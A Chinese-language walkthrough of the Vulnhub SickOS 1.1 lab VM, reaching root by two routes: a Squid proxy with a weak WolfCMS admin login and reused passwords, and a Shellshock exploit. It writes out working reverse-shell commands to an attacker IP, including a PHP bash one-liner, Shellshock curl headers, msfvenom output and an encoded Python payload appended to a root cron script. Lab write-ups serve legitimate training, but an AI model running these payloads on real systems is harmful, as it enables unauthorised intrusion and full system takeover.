【Vulnhub靶机】SickOS1.1--Squid代理以及ShellShock漏洞利用

2023-12-11 01:04

本文主要是介绍【Vulnhub靶机】SickOS1.1--Squid代理以及ShellShock漏洞利用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • nmap信息收集
      • 主机发现
      • 端口扫描
      • 目录扫描
  • 渗透方式一:Squid代理
      • 查找cms默认信息
      • GetShell
      • 尝试SSH连接
  • 渗透方式二:ShellShock漏洞
    • nikto漏洞扫描
    • msfvenom反弹 shell
    • GetShell
    • crontab提权

文档 说明:https://www.vulnhub.com/entry/sickos-11,132/

Download (Mirror): https://download.vulnhub.com/sickos/sick0s1.1.7z

nmap信息收集

主机发现

image-20231210120640060

端口扫描

 sudo nmap --min-rate 10000 -p- 10.9.75.14  

image-20231210120746386

详细端口扫描

sudo nmap -sT -sV -O -sC  -p22,3128,8080  10.9.75.14

image-20231210120946897

udp扫描

sudo nmap -sU -p22,3128,8080 10.9.75.14

image-20231210121008654

指定漏洞脚本扫描

sudo nmap --script=vuln  -p22,3128,8080  10.9.75.14

image-20231210121156619

根据上面扫出来的结果 ,发现使用了代理服务,

8080是http-proxy,关闭状态

3128是squid-http,开放状态

根据百度返回的结果,知道squid也是一个代理服务器

image-20231210122914418

Squid代理服务器是基于Unix的代理服务器(proxy server),它缓存比起点源点更接近请求者的互联网内容。Squid支持缓存多种不同的网络对象,包括那些通过HTTP 和 FTP访问的人。

先尝试访问一下吧

image-20231210123235270

访问3128端口,返回一个错误页面

目录扫描

image-20231210123931150

但是都没有得到正常的输出

这里需要使用代理去爆破目录

dirsearch -u http://10.9.75.14  -i 200 --proxy=http://10.9.75.14:3128
dirb http://10.9.75.14 -p http://10.9.75.14:3128

image-20231210124140281

既然目录扫描使用到了代理,那么浏览器访问也需要使用代理

image-20231210124438774

浏览器直接访问靶机地址

image-20231210124452688

渗透方式一:Squid代理

访问robots.txt

image-20231210124618898

有一个wolfcms目录

Articles界面发现有类似于文章的东西

image-20231210130110046

查找cms默认信息

有Posted by Administrator 的字样,可以在网上找管理员的路径

google浏览器搜索:wolfcms admin path

image-20231210130007224

访问:10.9.75.14/wolfcms/?admin,跳转到一个登陆界面

image-20231210130203675

可以去网上找找这个cms,有没有默认的用户名密码,或者直接尝试一些弱口令试一试

输入admin:admin登陆成功

image-20231210130454402

发现这个都有php的代码,可以写一句话反弹

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.9.75.3/6868 0>&1'"); ?>

image-20231210130859699

GetShell

kali这边写开启监听

回到http://10.9.75.14/wolfcms/这个界面,点击Articles触发反弹shell

image-20231210131020077

image-20231210131050802

在当前路径下有一个config.php文件

image-20231210131214621

可以看到数据库的用户名是root,密码是john@123

通过 cat /etc/passwd 查看到当前系统有 bash 交互环境的用户只有 root 和 sickos

image-20231210131659908

由于 22 端口是开放的,所以我们可以通过 ssh 连接至这台机器,那么猜测一下,这个数据库的密码会不会和这个系统用户的密码相同呢?

尝试SSH连接

使用sickos:john@123连接SSH成功

image-20231210131810656

查看有哪些能够以root身份执行的

image-20231210131916310

发现有所有的权限

那么就可以直接拿到root

image-20231210132003903

渗透方式二:ShellShock漏洞

nikto漏洞扫描

用nikto对靶机进行扫描。nikto是一个用于网页服务器漏洞扫描的工具,是kali中自带的

nikto -h 10.9.75.14 -useproxy http://10.9.75.14:3128 

image-20231210142744246

扫描结果发现在路径/cgi-bin/status目录下存在shellshock漏洞。shellshock是一个有关bash的漏洞,也称为Bashdoor

尝试用curl发送请求进行验证

curl -v --proxy http://10.9.75.14:3128 http://10.9.75.14/cgi-bin/status -H "Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
  • curl: Curl是一个命令行工具,用于发送HTTP请求和获取相应的数据。
  • -v: 这个选项表示在执行请求时显示详细的输出,包括请求头和响应信息。
  • --proxy http://10.9.75.14:3128: 这个选项指定了使用代理服务器进行请求。代理服务器的地址是10.9.75.14,端口是3128。这是为了通过代理服务器发起请求,可能是为了绕过某些防火墙或进行中间人攻击。
  • http://10.9.75.14/cgi-bin/status: 这是要请求的URL地址。10.9.75.14是目标服务器的IP地址,/cgi-bin/status是目标服务器上的一个CGI脚本路径。
  • -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit": 这个选项指定了一个自定义的请求头"Referer"。Shellshock漏洞可以通过构造恶意的Referer头来执行任意命令。在这个例子中,构造的Referer头包含了一段Shellshock的Payload,以执行/usr/bin/id命令并打印当前用户的身份信息

image-20231210143314347

msfvenom反弹 shell

用msfvenom生成反弹shell到kali的6868端口的命令。Kali中的msfvenom取代了msfpayload和msfencode,常用于生成后门木马。生成bash反弹shell命令的如下

sudo msfvenom -p cmd/unix/reverse_bash lhost=10.9.75.3 lport=6868 -f raw

-p表示指定需要使用的payload(攻击荷载),这里使用反弹的bash的shell,即reverse_bash

-f 指定输出格式,这里使用源码格式raw。

lhost和lport表示反弹shell的ip和端口,此处是kali的ip和一会开启nc监听的6868端口。

image-20231210144254579

Payload:0<&185-;exec 185<>/dev/tcp/10.9.75.3/6868;sh <&185 >&185 2>&185

payload一会要放入curl构造的payload命令中。先在kali中开启监听6868端口

GetShell

然后使用curl命令执行payload

curl -v --proxy http://10.9.75.14:3128 http://10.9.75.14/cgi-bin/status -H "Referer:() {  test;}; 0<&185-;exec 185<>/dev/tcp/10.9.75.3/6868;sh <&185 >&185 2>&185"

image-20231210144700255

监听的端口并没有收到反弹shell,显示没有对应的目录,因此要把命令中的sh写为完整路径/bin/bash,我们先重启一个监听:

image-20231210144828892

接下来另一个终端重新构造curl命令,将sh改为/bin/bash,完整的命令如下:

curl -v --proxy http://10.9.75.14:3128 http://10.9.75.14/cgi-bin/status -H "Referer:() {  test;}; 0<&185-;exec 185<>/dev/tcp/10.9.75.3/6868;/bin/sh <&185 >&185 2>&185"

image-20231210145012780

好像反弹成功了,但是好像没有回想

image-20231210145042909

我们先用dpkg –l看一看有没有安装python,试图使用python获得交互性更好的shell

image-20231210145259818

发现是有python环境的,用python获取交互性更好的shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20231210145402119

crontab提权

已经拿到了www-data的shell,接下来就是想办法提权为root。我们只能先在www-data的shell中看看有哪些信息可以利用。www-data一般是网站的权限,先看看网站跟目录/var/www/中有什么吧。

image-20231210151141807

cat connect.py时 看到 “I Try to connect things very frequently” “很规律的去连接一些事情,你可以尝试我的服务” ,也就是说明应该有一个定时任务

cat etc/crontab        #常用,没有的话看看第二个命令
cat etc/cron.d         #cron.d 是/etc下的目录,重点进去是否有计划任务文件

image-20231210151304209

会以root身份每分钟执行connect.py文件,这个connect.py就是我们刚刚给我们提示的文件,因此我们想到了提权的方法,在connect.py文件中添加payload反弹shell,因为会定期执行,我们只要等待定时任务执行即可。那么,就需要生成python中的反弹shell的payload,还是用msfvenom,这回-p指定获取python的反弹shell,命令如下(反弹到6869端口):

msfvenom -p cmd/unix/reverse_python lhost=10.9.75.3 lport=6869 -f raw

image-20231210151531828

payload如下:

exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFT8sKwjAQ/JWSUwKSPsRqkRyKVBBRwfZebIy0WLOhm/6/xAQ8di/DPHaHHT4GJhshyLeykZsVzp2ZQCpEz+GH+6gHtIKkCS/4dsPXxKtuXeS7vPAUhT/FPdDAymN7ulZNKPBafTuc27q5V+WFhWUuQWslLaWuzKddAQsBQP6cTUaRv4ZRaaDMZ5IFP13ws+Ab8X+ey8c4UhJ3g46xJ+wLkl1TyA==')[0])))

回到www-data的shell中,在/var/www/connect.py文件中添加msfvenom生成的payload。由于这个shell交互性还是差,vi或vim工具太难用了,因此我直接追加命令到connect.py,运行命令的目录是/var/www

echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFT8sKwjAQ/JWSUwKSPsRqkRyKVBBRwfZebIy0WLOhm/6/xAQ8di/DPHaHHT4GJhshyLeykZsVzp2ZQCpEz+GH+6gHtIKkCS/4dsPXxKtuXeS7vPAUhT/FPdDAymN7ulZNKPBafTuc27q5V+WFhWUuQWslLaWuzKddAQsBQP6cTUaRv4ZRaaDMZ5IFP13ws+Ab8X+ey8c4UhJ3g46xJ+wLkl1TyA==')[0])))">>connect.py

image-20231210151703530

kali开启监听6869端口

成功拿到root

image-20231210151928913

这篇关于【Vulnhub靶机】SickOS1.1--Squid代理以及ShellShock漏洞利用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/478917

相关文章

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

高效+灵活,万博智云全球发布AWS无代理跨云容灾方案!

摘要 近日,万博智云推出了基于AWS的无代理跨云容灾解决方案,并与拉丁美洲,中东,亚洲的合作伙伴面向全球开展了联合发布。这一方案以AWS应用环境为基础,将HyperBDR平台的高效、灵活和成本效益优势与无代理功能相结合,为全球企业带来实现了更便捷、经济的数据保护。 一、全球联合发布 9月2日,万博智云CEO Michael Wong在线上平台发布AWS无代理跨云容灾解决方案的阐述视频,介绍了

在JS中的设计模式的单例模式、策略模式、代理模式、原型模式浅讲

1. 单例模式(Singleton Pattern) 确保一个类只有一个实例,并提供一个全局访问点。 示例代码: class Singleton {constructor() {if (Singleton.instance) {return Singleton.instance;}Singleton.instance = this;this.data = [];}addData(value)

proxy代理解决vue中跨域问题

vue.config.js module.exports = {...// webpack-dev-server 相关配置devServer: {host: '0.0.0.0',port: port,open: true,proxy: {'/api': {target: `https://vfadmin.insistence.tech/prod-api`,changeOrigin: true,p

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Linux如何做ssh反向代理

SSH反向代理是一种通过SSH协议实现的安全远程访问方式,它允许客户端通过SSH连接到一台具有公网IP的代理服务器,然后这台代理服务器再将请求转发给内部网络中的目标主机。以下是实现SSH反向代理的步骤: 一、准备工作 确保服务器配置: 内网服务器(目标主机)和外网服务器(代理服务器)都安装了SSH服务,并且能够通过SSH进行互相访问。内网服务器上的服务(如Web服务、数据库服务等)需要在本地

将你的github仓库设置为web代理

将你的github仓库设置为web代理 废话不多说,直接上步骤 废话不多说,直接上步骤 创建一个仓库,上传静态web。 2. 设置仓库的 page 1)点击 “Settings” 如图设置

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

Nginx反向代理功能及动静分离实现

一:Nginx支持正向代理和反向代理 1.正向代理 正向代理,指的是通过代理服务器 代理浏览器/客户端去重定向请求访问到目标服务器 的一种代理服务。 正向代理服务的特点是代理服务器 代理的对象是浏览器/客户端,也就是对于目标服务器 来说浏览器/客户端是隐藏的。 正向代理是客户端指定让代理去访问哪个服务,代表客户端的利益。 2.反向代理 反向代理,指的是浏览器/客户端并不知道自己要

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http